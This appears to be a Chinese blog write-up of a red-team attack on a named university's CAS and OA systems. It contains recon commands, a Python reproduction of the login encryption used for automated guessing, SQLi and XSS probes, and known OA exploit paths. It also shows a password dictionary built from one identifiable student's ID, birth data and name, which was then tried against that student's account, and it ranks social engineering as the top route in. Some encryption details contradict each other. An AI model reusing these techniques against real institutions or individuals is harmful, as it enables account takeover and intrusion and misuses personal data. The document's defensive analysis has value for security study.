我在一所985的CAS面前撞了三天——高校统一认证+OA系统多维度渗透受阻记录
字数 6417
更新时间 2026-07-12 13:10:57

高校统一认证与OA系统渗透测试受阻记录 —— 教学文档

一、概述

本文档基于一次真实的红队渗透测试受阻记录编写,目标为一所985高校的统一认证系统(CAS)与OA系统。整个渗透过程未获得任何Shell、SQL注入或文件上传成果,但其受阻过程具有极高的教学价值。

核心知识点:

  • CAS统一认证架构的攻击与防御
  • 泛微OA e-cology的资产发现与漏洞探测
  • 前端加密逆向工程
  • 弱口令测试与IP封锁机制
  • CORS与Swagger配置安全隐患

二、资产发现方法论

2.1 三层递进式资产发现

第一层:常见子域名枚举

使用host命令对常见前缀进行DNS解析:

for prefix in www mail cas oa portal zhlj jwgl sms rsb \
 adbjh newyjs aiop vpn lib xxzx bksy yjsy \
 pass campus idp sso; do
 host "$prefix.whu.edu.cn" 2>/dev/null | grep "has address"
done

关键发现:

  • CAS的A记录指向xxzx.whu.edu.cn(信息中心)
  • xxzx的CNAME指向oa.whu.edu.cn
  • 说明CAS和OA共用基础设施

第二层:C段存活探测

nmap -sn -T4 115.156.123.16-28 --min-rate=500

发现: C段存活的全部是已知域名对应的IP,无野生资产。防守方对内网资产暴露做了严格控制。

第三层:端口纵深探测

nmap -sT -T4 -p 1-10000 --min-rate=2000 -Pn -n 115.156.123.27

结果: 仅开放80、443、8080三个端口,无22、3306、6379、8081等常见服务端口。

2.2 技术栈指纹识别

系统 域名 Server头 框架特征 价值评定
统一认证 cas.whu.edu.cn WebServer(自研) CAS Server, AES-CBC加密
OA系统 oa.whu.edu.cn openresty/1.27.1.2 泛微e-cology, React 极高
门户 zhlj.whu.edu.cn openresty/1.27.1.2 Vue.js, knife4j Swagger
人事 rsb.whu.edu.cn Apache/2.4.57 PHP/7.4, 烽虎网络VSB9
教务 jwgl.whu.edu.cn openresty/1.27.1.2 HTML静态?

三个关键特征:

  1. openresty 1.27.1.2 出现在三个系统中,WAF很可能通过其Lua模块实现
  2. CAS的Server头为"WebServer",非标准Web服务器,说明自研或定制过
  3. 人事系统使用PHP 7.4(2022年11月已停止安全支持)+ VSB9版本偏旧

2.3 WAF指纹识别

测试方法: 发送明显恶意payload并对比响应差异

curl -sk 'https://oa.whu.edu.cn/api/ec/dev/check/checkurl' \
 -d 'url=jdbc:mysql://127.0.0.1:3306/test'

curl -sk 'https://oa.whu.edu.cn/api/ec/dev/check/checkurl' \
 -d 'url=<script>alert(1)</script>'

结论: 两种payload返回完全相同的JSON响应{"msg":"登录信息超时","errorCode":"002","status":false}。WAF要么未拦截,要么用相同返回格式做了伪装——后者可能性更大。


三、CAS认证逆向工程

3.1 登录页完整DOM捕获

使用Playwright捕获CAS登录页:

playwright_whu_oa.py
[*] 加载CAS登录页...
[*] 页面标题: 统一身份认证
[*] CAS参数:
{
 "execution": "e3s1...",
 "salt": "QAQVEU444clkxIXy",
 "captchaSwitch": "2"
}

登录页表单结构:

<form id="loginForm" action="/authserver/login" method="post">
 <input id="username" name="username" type="text" />
 <input id="password" name="password" type="password" />
 <input id="saltPassword" name="saltPassword" type="hidden" />  <!-- 加密后密文 -->
 <input id="pwdEncryptSalt" value="QAQVEU444clkxIXy" type="hidden" />  <!-- AES密钥 -->
 <input name="execution" value="e3s1..." type="hidden" />  <!-- CSRF防重放令牌 -->
 <input name="dllt" value="generalLogin" type="hidden" />
 <input name="cllt" value="userNameLogin" type="hidden" />
 <input name="_eventId" value="submit" type="hidden" />
 <input id="captchaSwitch" value="2" type="hidden" />  <!-- 验证码强制开启 -->
</form>

三个关键点:

  1. password输入框为readonly,真实密码通过JS加密后写入saltPassword隐藏域
  2. captchaSwitch=2表示验证码强制开启
  3. pwdEncryptSalt=QAQVEU444clkxIXy为16位AES加密密钥

3.2 前端加密函数逆向

加密JS文件: /authserver/js/encrypt.js

核心代码分析:

// 随机字符串生成器
var RANDOM_CHARS = "ABCDEFGHJKMNPQRSTWXYZabcdefhijkmnprstwxyz2345678";
function randomString(length) {
 var result = [];
 for (var i = 0; i < length; i++) {
   result.push(RANDOM_CHARS.charAt(Math.floor(Math.random() * RANDOM_CHARS.length)));
 }
 return result.join('');
}

// 核心AES加密函数
function encryptPassword(password, salt) {
 // 明文构造: 64位随机前缀 + 真实密码
 var plaintext = randomString(64) + password;
 // 密钥处理
 var key = CryptoJS.enc.Utf8.parse(salt);
 // IV生成: 16位随机字符串
 var iv = CryptoJS.enc.Utf8.parse(randomString(16));
 // AES-CBC-Pkcs7加密
 var encrypted = CryptoJS.AES.encrypt(plaintext, key, {
   iv: iv,
   mode: CryptoJS.mode.CBC,
   padding: CryptoJS.pad.Pkcs7
 });
 // 返回格式: iv + ciphertext (base64编码)
 return iv.toString() + encrypted.ciphertext.toString();
}

加密参数汇总:

参数 说明
算法 AES-CBC 美国联邦标准
密钥 QAQVEU444clkxIXy(固定salt) #pwdEncryptSalt读取
IV 16位随机字符串 每次提交前生成
明文 randomString(64) + password 64位随机前缀+真实密码
返回 iv(hex) + ciphertext(hex)的Base64 非标准格式
随机字符集 54字符(去掉0/O/1/l/I) 和标准base64字符集不同

关键设计点: 64位随机前缀 + 随机IV的双重随机化,使同一密码每次提交的密文都完全不同,蜜罐碰撞和已知密文比对攻击完全失效。

3.3 Python复现加密流程

import random, base64
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad

RANDOM_CHARS = "ABCDEFGHJKMNPQRSTWXYZabcdefhijkmnprstwxyz2345678"

def random_string(length):
 return ''.join(random.choice(RANDOM_CHARS) for _ in range(length))

def encrypt_password(password, salt):
 """
 完整复现CAS前端encryptPassword函数
 """
 plaintext = random_string(64) + password
 key = salt.encode('utf-8')
 iv = random_string(16).encode('utf-8')
 cipher = AES.new(key, AES.MODE_CBC, iv)
 padded = pad(plaintext.encode('utf-8'), AES.block_size)
 encrypted = cipher.encrypt(padded)
 # 返回 iv(16字节) + ciphertext(动态长度) 的Base64
 return base64.b64encode(iv + encrypted).decode('ascii')

重要观察: salt是写在HTML中的固定值,不是动态生成或每个session不同。只要拿到一次salt,所有密码尝试都可复用同一加密逻辑。CAS依赖execution防CSRF重放,而非依赖密钥轮换。

3.4 execution参数时效性测试

# 第一回合: 获取execution + 模拟10秒延迟提交
$ curl -c /tmp/cas_cookies -sk \
 'https://cas.whu.edu.cn/authserver/login?service=...' \
 | grep -oP 'name="execution" value="\K[^"]+' > /tmp/execution
$ sleep 10
$ curl -b /tmp/cas_cookies -sk \
 -d "username=test&password=xxx&execution=$(cat /tmp/execution)&_eventId=submit" \
 'https://cas.whu.edu.cn/authserver/login'
# 返回200(登录页面重新加载)

# 第二回合: 等待5分钟后提交
$ sleep 300
$ curl -b /tmp/cas_cookies -sk \
 -d "username=test&password=xxx&execution=$(cat /tmp/execution_v2)&_eventId=submit" \
 'https://cas.whu.edu.cn/authserver/login'
# 仍然返回200...

结论: execution有效期约5-10分钟。过期后CAS返回登录页(内含新execution),而非错误提示。普通curl爆破每5分钟需重新获取一次,但自动化工具可在检测到新execution后自动刷新。


四、泛微OA渗透测试

4.1 未授权接口探测

使用Playwright遍历OA关键路径:

oa_paths = [
 "/login/Login.jsp",
 "/wui/index.html",
 "/api/system/info/interceptionChrome",
 "/api/portal/theme/theme-layout-list",
 "/api/ec/dev/check/checkurl",
 "/api/ec/dev/tabledata/",
 "/report/",
 "/cloudstore/resource/pc/jquery/jquery.min.js",
]

结果:

  • /api/system/info/interceptionChrome → 200(返回真实数据{"isInterceptChorme":"true"}
  • 其余核心API → 200(返回{"msg":"登录信息超时","status":false}

关键发现: 纯配置查询接口interceptionChrome未经过Spring Security认证拦截,返回了真实数据。其他接口虽返回200,但仅通过WAF/Nginx HTTP层放行,业务层仍做了会话检查。

4.2 历史漏洞路径探测

for path in \
 /mobile/plugin/CheckServer.jsp \       # 远程命令执行(旧版)
 /page/officesetting/officehelp.jsp \    # 任意文件上传(E-mobile)
 /cloudstore/ecrh/ecrh.aspx \            # 文件包含
 /E8/ \                                   # 低版本管理后台
 /email/ /sms/ /file/; do
 code=$(curl -sk -o /dev/null -w '%{http_code}' "https://oa.whu.edu.cn$path")
 echo "$code -> $path"
done

结果:全部返回302跳转CAS。

分析: 302而非404说明路径物理存在。结合/wui/index.html返回React前端框架页面(9.x特征),判断为泛微e-cology 9.x版本,新版已修复未授权路径。

4.3 SQL注入检测——响应差异分析

/api/ec/dev/tabledata/接口进行三组对照实验:

实验A:正常请求,不带Cookie

POST /api/ec/dev/tabledata/
Content-Type: application/json
{"tableName": "HrmResource", "pageSize": 1, ...}
→ {"msg":"登录信息超时","errorCode":"002","status":false}

实验B:带CAS获取的JSESSIONID

POST /api/ec/dev/tabledata/
Cookie: JSESSIONID=aaaMU5a94vHJneXu4sa5z
{"tableName": "HrmResource", ...}
→ {"msg":"登录信息超时","errorCode":"002","status":false}

实验C:带SQL注入payload

POST /api/ec/dev/tabledata/
{"tableName": "HrmResource WHERE 1=1 UNION SELECT ... --", ...}
→ {"msg":"登录信息超时","errorCode":"002","status":false}

结论: 三组响应完全一致。请求在到达业务代码前已被认证拦截器拦截,SQL注入payload无机会到达数据库层。

4.4 版本指纹推断

通过JS资源路径推断版本:

/cloudstore/resource/pc/ecology8/desktop/     → 200(静态资源)
/wui/theme/ecology8/sysbutton/sysbutton.gif   → 200

结论: 路径中包含ecology8,这是泛微e-cology 8.x和9.x共用的资源路径风格。结合React前端特征,判断为9.x版本。


五、CORS与Swagger配置隐患

5.1 CORS配置审计

curl -sk -D- 'https://zhlj.whu.edu.cn/api/user/info' -o /dev/null \
 | grep -i 'access-control'

access-control-allow-origin: *
access-control-allow-methods: POST, GET, PUT, OPTIONS, DELETE
access-control-allow-headers: Content-Type, Authorization, X-Requested-With
access-control-max-age: 3600

风险分析:

  • Access-Control-Allow-Origin: * —— 允许任意域名跨域请求
  • 允许PUT和DELETE方法(不仅限于GET/POST)
  • CSRF场景推演: 若门户内有用户已登录且存在POST接口接收数据(如修改个人信息),攻击者可构造恶意页面发起跨域请求。虽然浏览器在credentials: 'include'Access-Control-Allow-Origin: *时会拒绝读取响应,但请求本身仍会被发送到服务端,构成CSRF攻击。

5.2 knife4j Swagger端点暴露

发现路径: /api/doc.html 返回302跳转CAS

前端JS中暴露的API路由:

"paths": {
 "/api/user/info": {"get": {"tags": ["用户管理"]}},
 "/api/user/search": {"get": {"tags": ["用户管理"]}},
 "/api/user/profile/update": {"put": {"tags": ["个人信息"]}},
 "/api/auth/token/refresh": {"post": {"tags": ["认证"]}},
 "/api/auth/logout": {"post": {"tags": ["认证"]}},
 "/api/role/list": {"get": {"tags": ["角色管理"]}},
 "/api/role/assign": {"post": {"tags": ["角色管理"]}},
 "/api/permission/check": {"get": {"tags": ["权限"]}},
 "/api/upload/avatar": {"post": {"tags": ["文件"]}},
 "/api/export/data": {"get": {"tags": ["数据导出"]}},
 "/oauth2/authorize": {"get": {"tags": ["OAuth2"]}},
 "/oauth2/token": {"post": {"tags": ["OAuth2"]}},
}

重点关注的接口:

  • /api/role/assign —— 角色分配,认证后若无二次鉴权可提权
  • /api/upload/avatar —— 文件上传,若目录无执行限制可上传webshell

设计缺陷分析: 生产环境中用认证拦截代替直接关闭Swagger,是大量Java项目的通病。knife4j与业务代码深度耦合,移除需修改构建配置。


六、弱口令测试全过程

6.1 学号格式与情报收集

学号格式: 10位数字

2023XXXX1043
├─ 2023 ─ 入学年份
├─ XXX ─ 学院代码
├─ XX ─ 专业代码
├─ XXXX ─ 序号

收集到的情报:

信息字段 值(脱敏) 来源
学号 2023XXXX1043 公开公示名单
身份证后6位 xxx731 不宜公开
生日 2005年12月 已脱敏
所属 某学院2023级 从学号推断

6.2 分层密码字典构建

第一梯队(高确定性):基于完整身份证/学号

xxxxxxxxxxxxxx731   — 身份证完整18位
2023xxxx1043        — 完整学号

第二梯队(较高确定性):基于身份证派生

200512xx            — 生日8位
xxxx731             — 身份证后6位
12xxxx              — 月日+年份尾数

第三梯队(中等确定性):基于学号派生

xx1043              — 学号后6位
xxxx1043            — 学号后8位

第四梯队(中等确定性):Whu+年份模式

Whu2025#, Whu2024#, Whu2026#
whu2025, whu@2025, Whu@2025, Whu2025!

第五梯队(较低确定性):姓名拼音组合

xiejianheng, Xiejianheng, XieJianHeng
xjhxxxx, Xjxxx731

第六梯队(低确定性):通用弱口令

123456, 000000, 111111, password, Passw0rd, P@ssw0rd

第七梯队(高校常见模式)

whu123, Wuhan123, WHU123, whu2023, whu2024

共计42个密码。

6.3 自动化测试过程

测试流程:

  1. 获取CAS登录参数(salt和execution)
  2. 使用复现的加密函数生成密文
  3. 每10个密码刷新一次execution
  4. 提交POST请求

测试日志摘要:

[01/42] 密码: xxxxxxxxxxxxxx731 → WRONG_PASS (响应长度: 14328 bytes)
[02/42] 密码: 2023xxxx1043 → WRONG_PASS (响应长度: 14325 bytes)
...
[42/42] 密码: whu2023 → WRONG_PASS (响应长度: 14325 bytes)

关键观察: 所有42次请求返回HTTP 200,响应长度仅波动3字节(14325-14328 bytes),排除通过响应长度差异做用户枚举的可能性。

6.4 IP封锁机制

封锁现象: 42次测试后,脚本突然返回401状态码,连CAS登录页都无法访问。

封锁触发条件推测:

触发因素 设计目的 实际触发量
同一IP短时间内多次获取execution 防execution批量扫描 约5次
同一IP短时间内多次POST登录 防密码爆破 42次
同一客户端提交过期execution 防CSRF重放 0次

封锁特征:

  • 约50次/2分钟的阈值
  • 更换Session无效(IP级别封禁)
  • 停止测试30分钟后仍返回401

七、攻击面全景图

┌─────────────────────────────────────────────────────────────┐
│ 目标高校IT系统攻击面评估全景                               │
├─────────────────────────────────────────────────────────────┤
│                                                             │
│ ═══ TIER 1: 高价值·需认证 ═══                            │
│                                                             │
│ ① 泛微OA (oa.xxx.edu.cn)                                  │
│ ├─ 前台SQL注入(CNVD-2021-28234) → 需有效JSESSIONID         │
│ ├─ JDBC反序列化(/api/ec/dev/check/checkurl) → 需有效JSESSIONID│
│ ├─ 文件上传(/page/officesetting/officehelp.jsp) → 需有效会话│
│ ├─ 指纹: e-cology 9.x, openresty 1.27.1.2                 │
│ └─ 当前状态: 全部302跳转CAS,无未授权入口                  │
│                                                             │
│ ② CAS统一认证 (cas.xxx.edu.cn)                            │
│ ├─ 密码爆破 → captchaSwitch=2 + IP封锁机制                 │
│ ├─ 动态码登录 → 理论上绕过密码,但需合法手机号             │
│ ├─ 逆向成果: AES-CBC加密已完整复现                         │
│ └─ 当前状态: 测试IP已封锁                                  │
│                                                             │
│ ═══ TIER 2: 中等价值·部分可访问 ═══                      │
│                                                             │
│ ③ 门户 (zhlj.xxx.edu.cn)                                  │
│ ├─ CORS: Access-Control-Allow-Origin: * → CSRF攻击面      │
│ ├─ knife4j Swagger: 12+API路径暴露 → 需CAS认证后利用       │
│ └─ API网关: 用户管理/角色分配/文件上传/数据导出接口        │
│                                                             │
│ ④ 人事系统 (rsb.xxx.edu.cn)                               │
│ ├─ 技术栈: Apache 2.4.57 + PHP 7.4(EOL) + VSB9            │
│ └─ CMS版本偏旧,可能有通用漏洞                             │
│                                                             │
│ ═══ TIER 3: 低价值/可忽略 ═══                            │
│                                                             │
│ ⑤ 智能体平台 → 建设中                                    │
│ ⑥ 科研系统/教务系统 → 需CAS认证                          │
│ ⑦ VPN → 非该高校IP段,可能独立管理                       │
└─────────────────────────────────────────────────────────────┘

八、红蓝对抗评估

8.1 攻击路径可行性矩阵

攻击路径 前置条件 预期收益 绕过难度 推荐指数 核心原因
泛微OA前台SQLi 需有效JSESSIONID 数据库数据泄露(含密码hash) ★★☆ OA数据库包含大量业务数据
泛微OA JDBC反序列化 需有效JSESSIONID RCE+内网横向移动 ★★★ 一旦拿到就是全内网通道
泛微OA文件上传 需有效JSESSIONID WebShell ★★☆ 需同时绕过认证+上传类型校验
CAS动态码社工 需有效手机号 CAS会话(全系统可用) ★★★★ 护网场景下社工是最短路径
CAS密码爆破 需绕过IP封锁+验证码 单个账号权限 极高 ★☆☆ 锁定阈值极低,投入产出比极差
CORS+CSRF钓鱼 需用户访问恶意页面 CAS会话劫持 ★★★ 护网用户配合度是关键变量
Swagger API文档利用 需先获取CAS会话 全套API接口路径 ★★★★ 认证后利用价值非常高
人事系统CMS漏洞 需VSB9版本漏洞 有限权限 ★★☆ 主要面向外网,与核心系统隔离
供应链/0day 0day储备 取决于漏洞类型 极高 ★★★★★ 不可控,但命中收益巨大

8.2 红蓝双方对抗评分

评估维度 红队视角 蓝队视角 评分
资产暴露 15+子域名暴露,但大部分需CAS认证 对C段做端口控制,无意外暴露 蓝队+1
认证安全 CAS加密已完全逆向,但三防合一无法绕过 验证码强制+加密+IP封锁到位 蓝队+2
OA安全 大量历史漏洞,但全部被CAS委派模式屏蔽 将OA认证委派给CAS 蓝队+2
WAF配置 无明显WAF特征,但攻击面被二次拦截 WAF+应用层双保险 蓝队+1
CORS配置 Access-Control-Allow-Origin: *存在CSRF 未限制CORS来源 红队+1
Swagger管理 API路径已在JS中暴露 未在生产环境关闭Swagger 红队+1
人因安全 成功收集学号信息 弱口令检测未突破 平手
频率控制 约50次请求后被IP封禁 IP封锁机制触发及时 蓝队+1

最终评分:蓝队 7 : 3 红队


九、防守方优秀做法分析

9.1 CAS委派架构——对OA历史漏洞的天然免疫

泛微OA漏洞多,但该校将OA认证委派给CAS统一管理。攻击者即使找到OA的0day,若无有效CAS会话也无法利用。这种架构级安全设计比任何补丁管理策略都有效。

9.2 三层密码防护

  1. 传输层: AES-CBC加密(防窃听)
  2. 业务层: 验证码保护(防自动化)
  3. IP层: 频率封锁(防批量)

三层防护叠加使在线密码爆破对这套CAS不再可行。

9.3 响应一致性

所有失败密码尝试返回相同200状态码和几乎相同页面长度(14325-14328 bytes),不存在通过响应差异做用户枚举或密码猜测的空间。

9.4 端口控制

C段内主机只开放80/443/8080三个端口,内网服务(数据库、缓存、管理面板)全部不暴露到公网。


十、防守方可改进之处

10.1 CORS配置收紧

Access-Control-Allow-Origin: *应改为具体域名白名单,防止CSRF攻击。

10.2 Swagger生产环境移除

knife4j在前端JS中打包了完整API路由定义。建议在Maven/Gradle构建配置中通过profile机制区分环境,确保生产构建排除swagger依赖。

10.3 密码找回接口加固

/authserver/retrieve-password/在没有合法参数时返回400,说明接口逻辑存在。密码找回接口通常是用户枚举的高价值目标,应做频率限制和验证码保护。

10.4 人事系统版本升级

PHP 7.4(2022年11月EOL)+ VSB9版本偏旧的组合,虽然当前不是核心资产,但在攻击链扩展场景下可能成为跳板。


十一、最优先加固建议

建议对CAS登录IP做更细粒度的评分机制,而非简单一刀切封禁。结合设备指纹、请求行为模式、历史信誉度做动态风险评估,可在阻断攻击的同时不影响用户体验。


十二、三条最可能的突破口

  1. 社会工程学: 数万学生和教工中,任何一个用户都可能成为社工目标。动态码/SMS登录是CAS体系中最薄弱环节——密码攻不破,但从手机号入手则不同。

  2. 供应链攻击: 泛微OA、VSB9、knife4j均为第三方组件,任何第三方系统的新漏洞都可能成为进入内网的跳板。

  3. HVV特殊性——0day: HVV攻防博弈不仅是技术对抗,更是资源博弈。若有泛微OA 9.x的0day储备,整套分析框架需全部重写。


本文所有内容仅用于网络安全技术教学。未经授权对目标系统进行渗透测试属于违法行为,请严格遵守《中华人民共和国网络安全法》。

相似文章
相似文章
 全屏